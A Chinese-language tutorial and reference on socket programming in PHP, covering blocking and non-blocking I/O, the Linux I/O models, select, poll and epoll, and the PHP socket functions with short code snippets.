TCP/IP(Transmission Control Protocol/Internet Protocol)即传输控制协议/网间协议,是一个工业标准的协议集,它是为广域网(WANs)设计的。
Socket是应用层与TCP/IP协议族通信的中间软件抽象层,它是一组接口。在设计模式中,Socket其实就是一个门面模式,它把复杂的TCP/IP协议族隐藏在Socket接口后面,对用户来说一组简单的接口就是全部,让Socket去组织数据,以符合指定的协议 服务器端先初始化Socket,然后与端口绑定(bind),对端口进行监听(listen),调用accept阻塞,等待客户端连接。在这时如果有个客户端初始化一个Socket,然后连接服务器(connect),如果连接成功,这时客户端与服务器端的连接就建立了。客户端发送数据请求,服务器端接收请求并处理请求,然后把回应数据发送给客户端,客户端读取数据,最后关闭连接,一次交互结束 推荐使用Workerman来实现socket通信
PHP-Socket-阻塞与非阻塞,同步与异步概念
在进行网络编程时常常见到同步(Sync)/异步(Async),阻塞(Block)/非阻塞(Unblock)四种调用方式: 同步: 同步就是在发出一个功能调用时,在没有得到结果之前该调用就不返回,也就是必须一件一件事做,等前一件做完了才能做下一件事。 例如普通B/S模式(同步): 提交请求->等待服务器处理->处理完毕返回,这个期间客户端浏览器不能干任何事 异步: 当一个异步过程调用发出后,调用者不能立刻得到结果。实际处理这个调用的部件在完成后,通过状态、通知和回调来通知调用者。 例如ajax请求(异步): 请求通过事件触发->服务器处理(这是浏览器仍然可以作其他事情)->处理完毕 阻塞: 阻塞调用是指调用结果返回之前,当前线程会被挂起(线程进入非可执行状态,在这个状态下cpu不会给线程分配时间片,即线程暂停运行)。函数只有在得到结果之后才会返回。 阻塞调用和同步调用是不同的。对于同步调用来说,很多时候当前线程还是激活的,只是从逻辑上当前函数没有返回而已。 例如在socket中调用recv函数,如果缓冲区中没有数据,这个函数就会一直等待,直到有数据才返回。而此时当前线程还会继续处理各种各样的消息。 非阻塞: 指在不能立刻得到结果之前,该函数不会阻塞当前线程,而会立刻返回。 对象的阻塞模式和阻塞函数调用 对象是否处于阻塞模式和函数是不是阻塞调用有很强的相关性,但并不是一一对应的。阻塞对象上可以有非阻塞的调用方式,可以通过一定的API去轮询状态,在适当的时候调用阻塞函数就可以避免阻塞。而对于非阻塞对象,调用特殊的函数也可以进入阻塞调用。函数select就是这样的一个例子。 1. 同步,就是我调用一个功能,该功能没有结束前,我死等结果。 2. 异步,就是我调用一个功能,不需要知道该功能结果,该功能有结果后通知我(回调通知) 3. 阻塞,就是调用我(函数),我(函数)没有接收完数据或者没有得到结果之前,我不会返回。 4. 非阻塞,就是调用我(函数),我(函数)立即返回,通过select通知调用者 同步IO和异步IO的区别就在于: 数据拷贝的时候进程是否阻塞! 阻塞IO和非阻塞IO的区别就在于: 应用程序的调用是否立即返回! 对于举个简单c/s模式: 同步: 提交请求->等待服务器处理->处理完毕返回这个期间客户端浏览器不能干任何事 异步: 请求通过事件触发->服务器处理(这是浏览器仍然可以作其他事情)->处理完毕 同步和异步都只针对于本机SOCKET而言的。 同步和异步,阻塞和非阻塞,有些混用,其实它们完全不是一回事,而且它们修饰的对象也不相同。 阻塞和非阻塞是指当进程访问的数据如果尚未就绪,进程是否需要等待,简单说这相当于函数内部的实现区别,也就是未就绪时是直接返回还是等待就绪; 而同步和异步是指访问数据的机制,同步一般指主动请求并等待I/O操作完毕的方式,当数据就绪后在读写的时候必须阻塞(区别就绪与读写二个阶段,同步的读写必须阻塞),异步则指主动请求数据后便可以继续处理其它任务,随后等待I/O,操作完毕的通知,这可以使进程在数据读写时也不阻塞。(等待"通知") Linux下的五种I/O模型: 前四种都是同步,只有最后一种才是异步IO。 1)阻塞I/O - blocking I/O 2)非阻塞I/O - nonblocking I/O 3)I/O复用(select 和poll) - I/O multiplexing 4)信号驱动I/O - signal driven I/O (SIGIO) 5)异步I/O - asynchronous I/O (the POSIX aio_functions) 阻塞I/O模型: 简介: 进程会一直阻塞,直到数据拷贝完成 应用程序调用一个IO函数,导致应用程序阻塞,等待数据准备好。 如果数据没有准备好,一直等待,数据准备好了,从内核拷贝到用户空间,IO函数返回成功指示。 阻塞I/O模型图: 在调用recv()/recvfrom()函数时,发生在内核中等待数据和复制数据的过程。 当调用recv()函数时,系统首先查是否有准备好的数据。如果数据没有准备好,那么系统就处于等待状态。当数据准备好后,将数据从系统缓冲区复制到用户 空间,然后该函数返回。在套接应用程序中,当调用recv()函数时,未必用户空间就已经存在数据,那么此时recv()函数就会处于等待状态。 当使用socket()函数和WSASocket()函数创建套接字时,默认的套接字都是阻塞的。这意味着当调用Windows Sockets API不能立即完成时,线程处于等待状态,直到操作完成。 并不是所有Windows Sockets API以阻塞套接字为参数调用都会发生阻塞。例如,以阻塞模式的套接字为参数调用bind()、listen()函数时,函数会立即返回。将可能阻塞套接字的Windows Sockets API调用分为以下四种: 1.输入操作: recv()、recvfrom()、WSARecv()和WSARecvfrom()函数。以阻塞套接字为参数调用该函数接收数据。如果此时套接字缓冲区内没有数据可读,则调用线程在数据到来前一直睡眠。 2.输出操作: send()、sendto()、WSASend()和WSASendto()函数。以阻塞套接字为参数调用该函数发送数据。如果套接字缓冲区没有可用空间,线程会一直睡眠,直到有空间。 3.接受连接: accept()和WSAAcept()函数。以阻塞套接字为参数调用该函数,等待接受对方的连接请求。如果此时没有连接请求,线程就会进入睡眠状态。 4.外出连接: connect()和WSAConnect()函数。对于TCP连接,客户端以阻塞套接字为参数,调用该函数向服务器发起连接。该函数在收到服务器的应答前,不会返回。这意味着TCP连接总会等待至少到服务器的一次往返时间。 使用阻塞模式的套接字,开发网络程序比较简单,容易实现。当希望能够立即发送和接收数据,且处理的套接字数量比较少的情况下,使用阻塞模式来开发网络程序比较合适。 阻塞模式套接字的不足表现为,在大量建立好的套接字线程之间进行通信时比较困难。当使用"生产者-消费者"模型开发网络程序时,为每个套接字都分别分配一 个读线程、一个处理数据线程和一个用于同步的事件,那么这样无疑加大系统的开销。其最大的缺点是当希望同时处理大量套接字时,将无从下手,其扩展性很差 非阻塞IO模型 简介: 非阻塞IO通过进程反复调用IO函数(多次系统调用,并马上返回);在数据拷贝的过程中,进程是阻塞的; 我们把一个SOCKET接口设置为非阻塞就是告诉内核,当所请求的I/O操作无法完成时,不要将进程睡眠,而是返回一个错误。这样我们的I/O操作函数将 不断的测试数据是否已经准备好,如果没有准备好,继续测试,直到数据准备好为止。在这个不断测试的过程中,会大量的占用CPU的时间。 把SOCKET设 置为非阻塞模式,即通知系统内核: 在调用Windows Sockets API时,不要让线程睡眠,而应该让函数立即返回。在返回时,该函数返回一个错误代码。图所示,一个非阻塞模式套接字多次调用recv()函数的过程。前 三次调用recv()函数时,内核数据还没有准备好。因此,该函数立即返回WSAEWOULDBLOCK错误代码。第四次调用recv()函数时,数据已 经准备好,被复制到应用程序的缓冲区中,recv()函数返回成功指示,应用程序开始处理数据。 当使用socket()函数和WSASocket()函数创建套接字时,默认都是阻塞的。在创建套接字之后,通过调用ioctlsocket()函数,将该套接字设置为非阻塞模式。Linux下的函数是:fcntl(). 套接字设置为非阻塞模式后,在调用Windows Sockets API函数时,调用函数会立即返回。大多数情况下,这些函数调用都会调用"失败",并返回WSAEWOULDBLOCK错误代码。说明请求的操作在调用期 间内没有时间完成。通常,应用程序需要重复调用该函数,直到获得成功返回代码。 需要说明的是并非所有的Windows Sockets API在非阻塞模式下调用,都会返回WSAEWOULDBLOCK错误。例如,以非阻塞模式的套接字为参数调用bind()函数时,就不会返回该错误代 码。当然,在调用WSAStartup()函数时更不会返回该错误代码,因为该函数是应用程序第一调用的函数,当然不会返回这样的错误代码。 要将套接字设置为非阻塞模式,除了使用ioctlsocket()函数之外,还可以使用WSAAsyncselect()和WSAEventselect()函数。当调用该函数时,套接字会自动地设置为非阻塞方式。 由于使用非阻塞套接字在调用函数时,会经常返回 WSAEWOULDBLOCK错误。所以在任何时候,都应仔细检查返回代码并作好对"失败"的准备。应用程序连续不断地调用这个函数,直到它返回成功指示 为止。上面的程序清单中,在While循环体内不断地调用recv()函数,以读入1024个字节的数据。这种做法很浪费系统资源。 要完成这样的操作,有人使用MSG_PEEK标志调用recv()函数查看缓冲区中是否有数据可读。同样,这种方法也不好。因为该做法对系统造成的开销是 很大的,并且应用程序至少要调用recv()函数两次,才能实际地读入数据。较好的做法是,使用套接字的"I/O模型"来判断非阻塞套接字是否可读可写。 非阻塞模式套接字与阻塞模式套接字相比,不容易使用。使用非阻塞模式套接字,需要编写更多的代码,以便在每个Windows Sockets API函数调用中,对收到的WSAEWOULDBLOCK错误进行处理。因此,非阻塞套接字便显得有些难于使用。 但是,非阻塞套接字在控制建立的多个连接,在数据的收发量不均,时间不定时,明显具有优势。这种套接字在使用上存在一定难度,但只要排除了这些困难,它在 功能上还是非常强大的。通常情况下,可考虑使用套接字的"I/O模型",它有助于应用程序通过异步方式,同时对一个或多个套接字的通信加以管理。 IO复用模型: 简介: 主要是select和epoll;对一个IO端口,两次调用,两次返回,比阻塞IO并没有什么优越性;关键是能实现同时对多个IO端口进行监听; I/O复用模型会用到select、poll、epoll函数,这几个函数也会使进程阻塞,但是和阻塞I/O所不同的的,这两个函数可以同时阻塞多个I /O操作。而且可以同时对多个读操作,多个写操作的I/O函数进行检测,直到有数据可读或可写时,才真正调用I/O操作函数。 信号驱动IO 简介: 两次调用,两次返回; 首先我们允许套接口进行信号驱动I/O,并安装一个信号处理函数,进程继续运行并不阻塞。当数据准备好时,进程会收到一个SIGIO信号,可以在信号处理函数中调用I/O操作函数处理数据。 异步IO模型 简介: 数据拷贝的时候进程无需阻塞。 当一个异步过程调用发出后,调用者不能立刻得到结果。实际处理这个调用的部件在完成后,通过状态、通知和回调来通知调用者的输入输出操作 同步IO引起进程阻塞,直至IO操作完成。 异步IO不会引起进程阻塞。 IO复用是先通过select调用阻塞。 5个I/O模型的比较: select、poll、epoll简介 epoll跟select都能提供多路I/O复用的解决方案。在现在的Linux内核里有都能够支持,其中epoll是Linux所特有,而select则应该是POSIX所规定,一般操作系统均有实现 select本质上是通过设置或检查存放fd标志位的数据结构来进行下一步处理。这样所带来的缺点是: 1、单个进程可监视的fd数量被限制,即能监听端口的大小有限。 一般来说这个数目和系统内存关系很大,具体数目可以cat /proc/sys/fs/file-max察看。32位机默认是1024个。64位机默认是2048. 2、对socket进行扫描时是线性扫描,即采用轮询的方法,效率较低: 当套接字比较多的时候,每次select()都要通过遍历FD_SETSIZE个Socket来完成调度,不管哪个Socket是活跃的,都遍历一遍。这会浪费很多CPU时间。如果能给套接字注册某个回调函数,当他们活跃时,自动完成相关操作,那就避免了轮询,这正是epoll与kqueue做的。 3、需要维护一个用来存放大量fd的数据结构,这样会使得用户空间和内核空间在传递该结构时复制开销大 poll: poll 本质上和select没有区别,它将用户传入的数组拷贝到内核空间,然后查询每个fd对应的设备状态,如果设备就绪则在设备等待队列中加入一项并继续遍 历,如果遍历完所有fd后没有发现就绪设备,则挂起当前进程,直到设备就绪或者主动超时,被唤醒后它又要再次遍历fd。这个过程经历了多次无谓的遍历。 它没有最大连接数的限制,原因是它是基于链表来存储的,但是同样有一个缺点: 1、大量的fd的数组被整体复制于用户态和内核地址空间之 间,而不管这样的复制是不是有意 义。 2、poll还有一个特点是"水平触发",如果报告了fd后,没有被处理,那么下次poll时会再次报告该fd。 epoll支持水平触发和边缘触发,最大的特点在于边缘触发,它只告诉进程哪些fd刚刚变为就需态,并且只会通知一次。还有一个特点是,epoll使用"事件"的就 绪通知方式,通过epoll_ctl注册fd,一旦该fd就绪,内核就会采用类似callback的回调机制来激活该fd,epoll_wait便可以收 到通知 epoll的优点: 1、没有最大并发连接的限制,能打开的FD的上限远大于1024(1G的内存上能监听约10万个端口); 2、效率提升,不是轮询的方式,不会随着FD数目的增加���率下降。只有活跃可用的FD才会调用callback函数; 即Epoll最大的优点就在于它只管你"活跃"的连接,而跟连接总数无关,因此在实际的网络环境中,Epoll的效率就会远远高于select和poll。 3、 内存拷贝,利用mmap()文件映射内存加速与内核空间的消息传递;即epoll使用mmap减少复制开销。 select、poll、epoll 区别总结: 1、支持一个进程所能打开的最大连接数 select 单个进程所能打开的最大连接数有FD_SETSIZE宏定 义,其大小是32个整数的大小(在32位的机器上,大小就是32*32,同理64位机器上FD_SETSIZE为32*64),当然我们可以对进行修改,然后重新编译内核,但是性能可能会受到影响,这需要进一步的测试。 poll poll本质上和select没有区别,但是它没有最大连接数的限制,原因是它是基于链表来存储的 epoll 虽然连接数有上限,但是很大,1G内存的机器上可以打开10万左右的连接,2G内存的机器可以打开20万左右的连接 2、FD剧增后带来的IO效率问题 select 因为每次调用时都会对连接进行线性遍历,所以随着FD的增加会造成遍历速度慢的"线性下降性能问题"。 poll 同上 epoll 因为epoll内核中实现是根据每个fd上的 callback函数来实现的,只有活跃的socket才会主动调用callback,所以在活跃socket较少的情况下,使用epoll没有前面两者 的线性下降的性能问题,但是所有socket都很活跃的情况下,可能会有性能问题。 3、 消息传递方式 select 内核需要将消息传递到用户空间,都需要内核拷贝动作 poll 同上 epoll epoll通过内核和用户空间共享一块内存来实现的。 总结: 综上在选择select,poll,epoll时要根据具体的使用场合以及这三种方式的自身特点。 1、表面上看epoll的性能最好,但是在连接数少并且连接都十分活跃的情况下,select和poll的性能可能比epoll好,毕竟epoll的通知机制需要很多函数回调。 2、select低效是因为每次它都需要轮询。但低效也是相对的,视情况而定,也可通过良好的设计改善
socket阻塞模式
【 实现一个服务器同时连接多个客户端的几种方法 】 1、采用阻塞模式,然后每当有一个客户端连上服务端,服务端就fork一个子进程,让子进程来执行读写操作。 2、采用非阻塞模式,然后利用epoll机制,来实现服务端与每个客户端的交互3、采用非阻塞模式,每当有一个客户端连上服务端就将此客户端连接放进数组中,最后通过遍历数组中的连接与每个客户端交互
4、通过使用PHP函数socket_select()来实现单一服务端连接多个客户端,与每个客户端的交互,可以在指定的套接字上调用系统的select机制,从而实现I/O多路复用 I/O多路复用实际上就是用select,poll,epoll监听多个I/O对象,当I/O对象有变化(有数据)的时候就通知用户进程,这样单个进程可以处理多个socket 1>当用户进程调用了select,那么整个进程会被block(阻塞); 2>而同时kernel会"监视"所有select负责的socket; 3>当任何一个socket中的数据准备好了,select就会返回; 4>这时用户进程再调用read操作,将数据从kernel拷贝到用户进程。 所以I/O多路复用的特点是通过一种机制一个进程能同时等待多个文件描述符,而这些文件描述符(套接字描述符),其中的任意一个进入读就绪状态,select()函数就可以返回非阻塞模式是指利用socket事件的消息机制,Server端与Client端之间的通信处于异步状态 让PHP不再阻塞当PHP作为后端处理需要完成一些长时间处理,为了快速响应页面请求,不作结果返回判断的情况下,可以有如下措施:一、若使用FastCGI模式,使用fastcgi_finish_request()马上结束会话,但PHP线程继续在跑二、使用fsockopen、cUrl的非阻塞模式请求另外的网址利用cURL中的curl_multi_*函数发送异步请求三、使用Gearman、Swoole扩展 Gearman是一个具有php扩展的分布式异步处理框架,能处理大批量异步任务; Swoole有很多异步方法,使用简单 四、使用redis等缓存、队列,将数据写入缓存,使用后台计划任务实现数据异步处理,这个方法在常见的大流量架构中很常见 五、极端的情况下可以调用系统命令,可以将数据传给后台任务执行 $cmd = 'nohup php ./processd.php $someVar >/dev/null &'; `$cmd` 六、安装pcntl扩展,使用pcntl_fork生成子进程异步执行任务,但容易出现zombie processphp非阻塞服务器Socket函数
【 fsockopen() 】 resource fsockopen(string $hostname [,int $port = -1 [,int &$errno [,string &$errstr [,float $timeout = ini_get("default_socket_timeout") ]]]]) 打开一个网络连接或一个Unix套接字连接,初始化一个套接字连接到指定主机(hostname)。 PHP支持以下的套接字传输器(Socket Transports)类型列表,也可以通过stream_get_transports()来获取套接字传输器支持类型。 默认将以阻塞模式开启套接字连接,可以通过stream_set_blocking()转换到非阻塞模式。 stream_socket_client()与之非常相似,而且提供了更加丰富的参数设置,包括非阻塞模式和提供上下文的的设置 参数 hostname: 如果安装了OpenSSL,那么也许应该在主机名地址前面添加访问协议ssl://或tls://,从而可以使用基于TCP/IP协议的SSL或TLS的客户端连接到远程主机。 port: 端口号,对该参数传一个-1则表示不使用端口,例如unix:// errno: 如果传入了该参数,holds the system level error number that occurred in the system-level connect() call。如果errno的返回值为0且这个函数的返回值为FALSE,那么这表明该错误发生在套接字连接(connect())调用之前,导致连接失败的原因最大的可能是初始化套接字时发生错误 errstr: 错误信息将以字符串的信息返回。 timeout: 设置连接的时限,单位为秒。该参数仅仅在套接字连接的时候生效,如果要对建立在套接字基础上的读写操作设置操作时间设置连接时限请使用stream_set_timeout() 返回值: fsockopen()将返回一个文件句柄,可以被其他文件类函数调用(fgets(),fgetss(),fwrite(),fclose(),feof()),调用失败将返回FALSE 错误/异常: 如果主机(hostname)不可访问将会抛出一个警告级别(E_WARNING)的错误提示。在自己的机器上通过UDP套接字连接(端口号13)来检索日期和时间【 socket_create() 】 resource socket_create ( int $domain ,int $type ,int $protocol ) 创建并返回一个套接字socket即通讯节点,即一个网络数据流,失败返回false,读取错误代码可以调用socket_last_error(),这个错误代码可以通过socket_strerror()读取文字的错误说明 如果使用无效的domain或type,socket_create()会使用AF_INET和SOCK_STREAM替代,同时会发出E_WARNING警告信息 一个典型的网络连接由2个套接字构成,一个运行在客户端,另一个运行在服务器端,相当于产生一个socket的数据结构 $commonProtocol = getprotobyname("tcp"); //使用公共协议名字来获取一个协议类型 $socket = socket_create(AF_INET,SOCK_STREAM,$commonProtocol); $socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP); // 返回socket资源类型或者false $socket = socket_create(AF_INET,SOCK_STREAM,0) or die("Could not create socket\n"); // 创建TCP Socket $socket = socket_create(AF_INET,SOCK_DGRAM,0) or die("Could not create socket\n"); // 创建UDP socket $domain参数指定哪个协议用在当前套接字上 1、AF_INET: IPv4网络协议,TCP和UDP都可使用此协议,这是大多数用来产生socket的协议 2、AF_INET6: IPv6网络协议,TCP和UDP都可使用此协议 3、AF_UNIX: 本地通讯协议,使用在Unix和Linux系统上,很少使用,一般都是当客户端和服务器在同一台机器上的时候使用,具有高性能和低成本的 IPC(进程间通讯) $type参数用于选择套接字使用的类型 1、SOCK_STREAM: 提供一个顺序化的、可靠的、全双工的、基于连接的字节流。支持数据传送流量控制机制。TCP协议基于这种流式套接字,应用最多 2、SOCK_DGRAM: 提供数据报文的支持。(无连接,不可靠、固定最大长度),UDP协议即基于这种数据报文套接字。 3、SOCK_SEQPACKET: 提供一个顺序化的、可靠的、全双工的、面向连接的、固定最大长度的数据通信,数据端通过接收每一个数据段来读取整个数据包,必须把这个包完整的接受才能进行读取 4、SOCK_RAW: 提供读取原始的网络协议。这种特殊的套接字可用于手工构建任意类型的协议。一般使用这个套接字来实现ICMP请求,如ping、traceroute使用该协议 5、SOCK_RDM: 提供一个可靠的数据层,但不保证到达顺序。一般的操作系统都未实现此功能 $protocol参数是设置指定domain套接字下的具体协议。这个值可以使用getprotobyname()函数进行读取。如果所需的协议是TCP或UDP则可以直接使用常量SOL_TCP和SOL_UDP 【 socket_bind() 】 bool socket_bind ( resource $socket ,string $address [,int $port = 0 ] ) 把socket绑定在一个IP地址和端口上来设置套接字资源地址,该操作必须是在使用socket_connect()或socket_listen()建立一个连接之前 参数socket: 用socket_create()创建的一个有效的套接字资源。 参数address: 如果套接字是AF_INET族,那么address必须是一个四点分法的IP地址(例如 127.0.0.1 )。如果套接字是AF_UNIX族,那么address是Unix套接字一部分(例如 /tmp/my.sock )。 参数port 可选,参数port仅仅用于AF_INET套接字连接的时候,并且指定连接中需要监听的端口号 成功时返回TRUE,失败时返回FALSE,错误代码会传入socket_last_error(),如果将此参数传入socket_strerror()则可以得到错误的文字说明 【 socket_listen() 】 bool socket_listen( resource $socket [,int $backlog = 0 ] ) Listens for a connection on a socket,监听指定socket的连接 socket_listen() is applicable only to sockets of type SOCK_STREAM or SOCK_SEQPACKET 二参表示最大监听套接字个数,成功时返回TRUE,失败时返回FALSE,错误代码会传入socket_last_error(),如果将此参数传入socket_strerror()则可以得到错误的文字说明 【 socket_connect() 】 bool socket_connect ( resource $socket ,string $address [,int $port = 0 ] ) 连接一个套接字,用socket_create()创建的有效的套接字资源来连接到$address 参数address 如果参数socket是AF_INET,那么参数address则可以是一个点分四组表示法的IPv4地址,如127.0.0.1 如果支持IPv6并且socket是AF_INET6,那么address也可以是有效的IPv6地址,如::1 如果套接字类型为AF_UNIX,那么address也可以是一个Unix套接字 参数port 仅仅用于AF_INET和AF_INET6套接字连接的时候,并且是在此情况下是需要强制说明连接对应的远程服务器上的端口号 成功时返回TRUE,失败时返回FALSE,错误代码会传入socket_last_error(),如果将此参数传入socket_strerror()则可以得到错误的文字说明 【 socket_accept() 】 resource socket_accept ( resource $socket ) Accepts a connection on a socket,接收套接字的资源信息,成功返回套接字的信息资源,失败为false $msgsock = socket_accept($sock)) 【 socket_read() 】 string socket_read ( resource $socket ,int $length [,int $type = PHP_BINARY_READ ] ) 从一个socket_create()或socket_accept()创建的socket读取指定长度的数据 socket_read() returns the data as a string on success,or FALSE on error (including if the remote host has closed the connection). The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual representation of the error 【 socket_write() 】 int socket_write ( resource $socket ,string $buffer [,int $length = 0 ] ) 把数据写入套接字中,The function socket_write() writes to the socket from the given buffer 成功返回字符串的字节长度,失败为false 【 socket_close() 】 void socket_close ( resource $socket ) 关闭一个指定的socket资源,无返回值 参数socket是由socket_create()或socket_accept()创建的有效的套接字资源 【 socket_last_error() 】 int socket_last_error ([ resource $socket ] ) 获取当前socket的最后错误代码 参数socket is A valid socket resource created with socket_create(). 【 socket_strerror() 】 string socket_strerror ( int $errno ) 返回指定错误号的详细错误,This function returns a socket error code 参数errno is A valid socket error number,likely produced by socket_last_error() if (false == ($socket = @socket_create(AF_INET,SOCK_STREAM,SOL_TCP))) { echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . PHP_EOL; } if (false == (@socket_bind($socket,'127.0.0.1',80))) { echo "socket_bind() failed: reason: " . socket_strerror(socket_last_error($socket)) . PHP_EOL; } 【 socket_clear_error() 】 清除socket的错误或者最后的错误代码 【 socket_readv() 】 读取从分散/聚合数组过来的数据 【 socket_recv() 】 int socket_recv ( resource $socket ,string &$buf ,int $len ,int $flags ) 从已连接的socket接收数据 该函数从一个由socket_create()创建的socket资源中接受长度最多为len字节的数据,并保存在buf中,buf以引用形式传递,因此必须是一个以声明的有效的变量 socket_recv()用于从已连接的socket中接收数据。除此之外可以设定一个或多个flags来控制函数的具体行为 参数buf 从socket中获取的数据将被保存在由buf制定的变量中,如果有错误发生(如链接被重置、数据不可用等等)buf将被设为NULL flags的值可以为下列任意flag的组合。使用按位或运算符(|)来组合不同的flag。 MSG_OOB 处理超出边界的数据 MSG_PEEK 从接受队列的起始位置接收数据,但不将他们从接受队列中移除。 MSG_WAITALL 在接收到至少len字节的数据之前造成一个阻塞block并暂停脚本运行,但是如果接收到中断信号或远程服务器断开连接,该函数将返回少于len字节的数据。 MSG_DONTWAIT 如果制定了该flag,函数将不会造成阻塞,即使在全局设置中指定了阻塞设置。 socket_recv()返回一个数字表示接收到的字节数。如果发生了错误则返回FALSE错误码可使用socket_last_error()接收。也可使用函数socket_strerror()来取得关于错误的文字描述 $bytes = socket_recv($socket,$buf,2048,MSG_WAITALL) 【 socket_recvfrom() 】 接受数据从指定的socket,如果没有指定则默认当前socket 【 socket_recvmsg() 】 从iovec里接受消息 【 socket_send() 】 int socket_send ( resource $socket ,string $buf ,int $len ,int $flags ) sends len bytes data to a connected socket from buf 【 socket_sendmsg() 】 发送消息到socket 【 socket_sendto() 】 发送消息到指定地址的socket 【 socket_create_listen() 】 resource socket_create_listen( int $port [,int $backlog = 128 ] ) 在指定端口打开一个socket监听,Opens a socket on port to accept connections If specify no port number,or 0,a random free port will be chosen. To use ports for ipc between client/server on the same machine you can use (minus error checking)【 socket_create_pair() 】 产生一对没有区别的socket到一个数组里 【 socket_get_option() 】 mixed socket_get_option ( resource $socket ,int $level ,int $optname ) 获取socket选项 socket: A valid socket resource created with socket_create() or socket_accept(). level: The level parameter specifies the protocol level at which the option resides. For example,to retrieve options at the socket level,a level parameter of SOL_SOCKET would be used. Other levels,such as TCP,can be used by specifying the protocol number of that level. Protocol numbers can be found by using the getprotobyname() function. optname: Available Socket Options SO_DEBUG int Reports whether debugging information is being recorded. SO_BROADCAST int Reports whether transmission of broadcast messages is supported. SO_REUSEADDR int Reports whether local addresses can be reused socket_set_option($socket,SOL_SOCKET,SO_REUSEADDR,1); // 设置IP和端口重用,在重启服务器后能重新使用此端口; SO_REUSEPORT int Reports whether local ports can be reused SO_KEEPALIVE int Reports whether connections are kept active with periodic transmission of messages. If the connected socket fails to respond to these messages,the connection is broken and processes writing to that socket are notified with a SIGPIPE signal SO_LINGER array. The array will contain two keys: l_onoff and l_linger. Reports whether the socket lingers on socket_close() if data is present. By default,when the socket is closed,it attempts to send all unsent data. In the case of a connection-oriented socket,socket_close() will wait for its peer to acknowledge the data. If l_onoff is non-zero and l_linger is zero,all the unsent data will be discarded and RST (reset) is sent to the peer in the case of a connection-oriented socket. On the other hand,if l_onoff is non-zero and l_linger is non-zero,socket_close() will block until all the data is sent or the time specified in l_linger elapses. If the socket is non-blocking,socket_close() will fail and return an error. SO_OOBINLINE int Reports whether the socket leaves out-of-band data inline. SO_SNDBUF int Reports the size of the send buffer SO_RCVBUF int Reports the size of the receive buffer SO_ERROR int (cannot be set by socket_set_option()) Reports information about error status and clears it. SO_TYPE int (cannot be set by socket_set_option()) Reports the socket type (e.g. SOCK_STREAM). SO_DONTROUTE int Reports whether outgoing messages bypass the standard routing facilities SO_RCVLOWAT int Reports the minimum number of bytes to process for socket input operations SO_RCVTIMEO array The array will contain two keys: sec which is the seconds part on the timeout value and usec which is the microsecond part of the timeout value. Reports the timeout value for input operations. array. The array will contain two keys: sec which is the seconds part on the timeout value and usec which is the microsecond part of the timeout value. SO_SNDTIMEO array The array will contain two keys: sec which is the seconds part on the timeout value and usec which is the microsecond part of the timeout value. Reports the timeout value specifying the amount of time that an output function blocks because flow control prevents data from being sent. SO_SNDLOWAT int Reports the minimum number of bytes to process for socket output operations. TCP_NODELAY int Reports whether the Nagle TCP algorithm is disabled. MCAST_JOIN_GROUP Joins a multicast group. (added in PHP 5.4) array with keys "group",specifying a string with an IPv4 or IPv6 multicast address and "interface",specifying either an interface number (type int) or a string with the interface name,like "eth0". 0 can be specified to indicate the interface should be selected using routing rules. (can only be used in socket_set_option()) MCAST_LEAVE_GROUP Leaves a multicast group. (added in PHP 5.4) array. See MCAST_JOIN_GROUP for more information. (can only be used in socket_set_option()) MCAST_BLOCK_SOURCE Blocks packets arriving from a specific source to a specific multicast group,which must have been previously joined. (added in PHP 5.4) array with the same keys as MCAST_JOIN_GROUP,plus one extra key,source,which maps to a string specifying an IPv4 or IPv6 address of the source to be blocked. (can only be used in socket_set_option()) MCAST_UNBLOCK_SOURCE Unblocks (start receiving again) packets arriving from a specific source address to a specific multicast group,which must have been previously joined. (added in PHP 5.4) array with the same format as MCAST_BLOCK_SOURCE. (can only be used in socket_set_option()) MCAST_JOIN_SOURCE_GROUP Receive packets destined to a specific multicast group whose source address matches a specific value. (added in PHP 5.4) array with the same format as MCAST_BLOCK_SOURCE. (can only be used in socket_set_option()) MCAST_LEAVE_SOURCE_GROUP array with the same format as MCAST_BLOCK_SOURCE. (can only be used in socket_set_option()) Stop receiving packets destined to a specific multicast group whose soure address matches a specific value. (added in PHP 5.4) IP_MULTICAST_IF Either int specifying the interface number or a string with an interface name,like eth0. The value 0 can be used to indicate the routing table is to used in the interface selection. The function socket_get_option() returns an interface index. Note that,unlike the C API,this option does NOT take an IP address. This eliminates the interface difference between IP_MULTICAST_IF and IPV6_MULTICAST_IF. The outgoing interface for IPv4 multicast packets. (added in PHP 5.4) IPV6_MULTICAST_IF The same as IP_MULTICAST_IF. The outgoing interface for IPv6 multicast packets. (added in PHP 5.4) IP_MULTICAST_LOOP int (either 0 or 1). For socket_set_option() any value will be accepted and will be converted to a boolean following the usual PHP rules. The multicast loopback policy for IPv4 packets,which determines whether multicast packets sent by this socket also reach receivers in the same host that have joined the same multicast group on the outgoing interface used by this socket. This is the case by default. (added in PHP 5.4) IPV6_MULTICAST_LOOP int. See IP_MULTICAST_LOOP. Analogous to IP_MULTICAST_LOOP,but for IPv6. (added in PHP 5.4) IP_MULTICAST_TTL int between 0 and 255. The time-to-live of outgoing IPv4 multicast packets. This should be a value between 0 (don't leave the interface) and 255. The default value is 1 (only the local networkis reached). (added in PHP 5.4) IPV6_MULTICAST_HOPS int between -1 and 255. Analogous to IP_MULTICAST_TTL,but for IPv6 packets. The value -1 is also accepted,meaning the route default should be used. (added in PHP 5.4)【 socket_getpeername() 】 获取远程类似主机的ip地址 while($c = socket_accept($sock)) { /* do something useful */ socket_getpeername($c,$raddr,$rport); print "Received Connection from $raddr:$rport\n"; } 【 socket_getsockname() 】 获取本地socket的ip地址 socket_getsockname($sock,$addr,$port); print "Server Listening on $addr:$port\n"; 【 socket_iovec_add() 】 添加一个新的向量到一个分散/聚合的数组 【 socket_iovec_alloc() 】 创建一个能够发送接收读写的iovec数据结构 【 socket_iovec_delete() 】 删除一个已经分配的iovec 【 socket_iovec_fetch() 】 返回指定的iovec资源的数据 【 socket_iovec_free() 】 释放一个iovec资源 【 socket_iovec_set() 】 设置iovec的数据新值 【 socket_select() 】 int socket_select(array &$read,array &$write,array &$except,int $tv_sec [,int $tv_usec=0 ]) 多路选择,获取read数组中活动的socket,并且把不活跃的从read数组中删除 这是一个同步方法,必须得到响应之后才会继续下一步,常用在同步非阻塞IO select函数使用传统的select模型,可读、写、异常的socket会被分别放入$socket,$write,$except数组中,然后返回状态改变的socket的数目,如果发生了错误函数将会返回false 